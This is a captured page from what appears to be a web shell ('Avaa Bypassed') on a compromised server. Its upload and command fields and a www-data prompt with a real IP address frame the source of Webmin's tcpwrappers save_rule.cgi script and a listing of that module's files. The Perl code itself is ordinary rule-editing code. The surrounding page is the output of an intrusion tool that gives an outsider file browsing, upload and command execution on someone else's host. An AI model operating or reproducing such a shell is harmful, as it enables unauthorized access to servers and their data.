[ Avaa Bypassed ]




Upload:

Command:

www-data@18.216.248.35: ~ $
#!/usr/bin/perl
# Create, update or delete a rule

require './tcpwrappers-lib.pl';
&ReadParse();
&error_setup($text{'save_errtitle'});
$type = $in{'allow'} ? 'allow' : 'deny';
$file = $config{'hosts_'.$type};
@rules = &list_rules($file);

if (!$in{'new'}) {
    ($rule) = grep { $_->{'id'} == $in{'id'} } @rules;
    $rule || &error($text{'edit_eid'});
}
        
&lock_file($file);
if ($in{'delete'}) {
    # Delete one rule
    &delete_rule($file, $rule);
    goto ALLDONE;
} else {
    # Check input
    &error($text{'save_eservice'}) if ($in{'service_custom'} && $in{'service_custom'} !~ /^[\w\d\s\-\/\.,]+$/);
    &error($text{'save_eservice'}) if ($in{'service_except_custom'} && $in{'service_except_custom'} !~ /^[\w\d\s\-\/\.,]+$/);

    &error($text{'save_ehost'})
        if ($in{'host_text_def'} == 0 && $in{'host_text'} !~ /^[\w\d\s\-\/\@\.,]+$/ && $in{'host_text'} !~ /^\[[:\da-f]+\]/i);
    &error($text{'save_ehost'})
        if ($in{'host_except'} && $in{'host_except'} !~ /^[\w\d\s\-\/\@\.,]+$/ && $in{'host_except'} !~ /^\[[:\da-f]+\]/i);

    for (my $i = 0; $i <= $in{'cmd_count'}; $i++) {
	&error($text{'save_ecmd'}) if ($in{'cmd_'.$i} && $in{'cmd_'.$i} !~ /^[\w\d\s\-\/\@\%\|\(\)\'\"\&\.,]+$/);
    }
}

# Build rule record
if ($in{'service_custom'}) {
    $service = $in{'service_custom'};
    if ($in{'service_except_custom'}) {
	$service .= " EXCEPT ".$in{'service_except_custom'};
    }
} else {
    # listed from (x)inetd
    $service = join(",", split /\0/, $in{'service'});
    if ($in{'service_except'}) {
	$service .= " EXCEPT ".join(",", split /\0/, $in{'service_except'});
    }
}

$host = $in{'host_text_def'} ? $in{'host_select'} : $in{'host_text'};
if ($in{'host_except'}) {
    $host .= " EXCEPT ".$in{'host_except'};
}

$cmd = '';
for (my $i = 0; $i <= $in{'cmd_count'}; $i++) {
    next unless ($in{'cmd_'.$i});
    $cmd .= $cmd ? " : " : '';
    $cmd .= $in{'cmd_directive_'.$i} ne 'none' ? $in{'cmd_directive_'.$i}.' ' : '';
    $cmd .= $in{'cmd_'.$i};
}

my %newrule = ( 'service' => $service,
		'host' => $host,
		'cmd' => $cmd
		);

# Save to file
if ($in{'new'}) {
    &create_rule($file, \%newrule);
} else {
    &modify_rule($file, $rule, \%newrule);
}

ALLDONE:
&unlock_file($file);
&webmin_log($in{'new'} ? "create" : $in{'delete'} ? "delete" : "modify", "rule", $rule->{'id'});
&redirect("index.cgi?type=$type");


Filemanager

Name Type Size Permission Actions
help Folder 0755
images Folder 0755
lang Folder 0755
CHANGELOG File 266 B 0644
backup_config.pl File 613 B 0755
cgi_args.pl File 357 B 0755
config File 73 B 0644
config.info File 138 B 0644
config.info.ca File 179 B 0644
config.info.de File 141 B 0644
config.info.fr File 174 B 0644
config.info.hu File 0 B 0644
config.info.ms File 153 B 0644
config.info.nl File 93 B 0644
config.info.no File 133 B 0644
config.info.pl File 141 B 0644
delete_rules.cgi File 541 B 0755
edit_rule.cgi File 3.35 KB 0755
index.cgi File 1.44 KB 0755
module.info File 144 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 106 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 139 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 167 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 179 B 0644
module.info.ca File 104 B 0644
module.info.ca.auto File 20 B 0644
module.info.cs File 0 B 0644
module.info.cs.auto File 113 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 113 B 0644
module.info.de File 96 B 0644
module.info.de.auto File 20 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 163 B 0644
module.info.es File 0 B 0644
module.info.es.auto File 125 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 115 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 173 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 110 B 0644
module.info.fr File 0 B 0644
module.info.fr.auto File 124 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 150 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 123 B 0644
module.info.hu File 96 B 0644
module.info.hu.auto File 21 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 121 B 0644
module.info.ja File 0 B 0644
module.info.ja.auto File 135 B 0644
module.info.ko File 0 B 0644
module.info.ko.auto File 106 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 126 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 122 B 0644
module.info.ms File 95 B 0644
module.info.ms.auto File 20 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 137 B 0644
module.info.nl File 21 B 0644
module.info.nl.auto File 101 B 0644
module.info.no File 21 B 0644
module.info.no.auto File 92 B 0644
module.info.pl File 94 B 0644
module.info.pl.auto File 20 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 123 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 132 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 124 B 0644
module.info.ru File 0 B 0644
module.info.ru.auto File 167 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 111 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 124 B 0644
module.info.sv File 0 B 0644
module.info.sv.auto File 107 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 178 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 138 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 174 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 172 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 133 B 0644
module.info.zh File 0 B 0644
module.info.zh.auto File 93 B 0644
module.info.zh_TW File 0 B 0644
module.info.zh_TW.auto File 102 B 0644
save_rule.cgi File 2.31 KB 0755
tcpwrappers-lib.pl File 3.2 KB 0755